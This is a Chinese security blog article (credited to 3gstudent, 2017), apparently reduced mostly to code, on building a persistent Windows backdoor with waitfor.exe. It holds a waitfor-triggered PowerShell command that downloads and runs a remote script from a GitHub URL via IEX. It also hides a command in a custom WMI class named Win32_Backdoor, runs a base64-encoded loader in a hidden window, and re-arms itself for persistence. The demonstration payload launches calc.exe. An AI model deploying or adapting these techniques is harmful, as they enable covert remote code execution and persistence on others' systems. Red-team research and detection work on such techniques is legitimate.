本文讲的是
Waitfor.exe后门的实现思路,
0x00 前言
Windows Server 2003 Windows Vista Windows XP Windows Server 2008 Windows 7 Windows Server 2003 with SP2 Windows Server 2003 R2 Windows Server 2008 R2 Windows Server 2000 Windows Server 2012 Windows Server 2003 with SP1 Windows 8 Windows 10 其他Server系统未测试,理论上支持
/s <Computer>:指定发送的目的计算机的名称或IP地址(不能使用反斜杠)。如果不加此参数,将会在域内以广播形式发送
/u [<Domain>]<User>:使用指定用户帐户的凭据运行脚本。如果不加此参数,表示使用当前用户的凭据
/p [<Password>]:用户密码
/si:表示发送信号,用于激活,如果不加此参数,表示等待接收信号
/t <Timeout>:指定等待信号的秒数。如果不加此参数,表示无限期等待
<SignalName>:指定的信号名称,大小写不敏感,长度不能超过225个字符
waitfor test1 && && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1')
Start-Sleep -Seconds 10;
start-process calc.exe;
start-process calc.exe
cmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:test1.ps1
waitfor persist1 && powershell -executionpolicy bypass -file c:test1.ps1
waitfor /s 127.0.0.1 /si persist1
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe")
$StaticClass.Put()
([WmiClass] 'Win32_Backdoor').Properties['Code'].Value
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec
$code = Get-Content -Path code.txt
$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==
powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& waitfor persist ```&```& powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put()
``用来表示`
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec
waitfor /s 127.0.0.1 /si persist
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null
waitfor /s 127.0.0.1 /si persist
原文发布时间为:2017年6月10日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。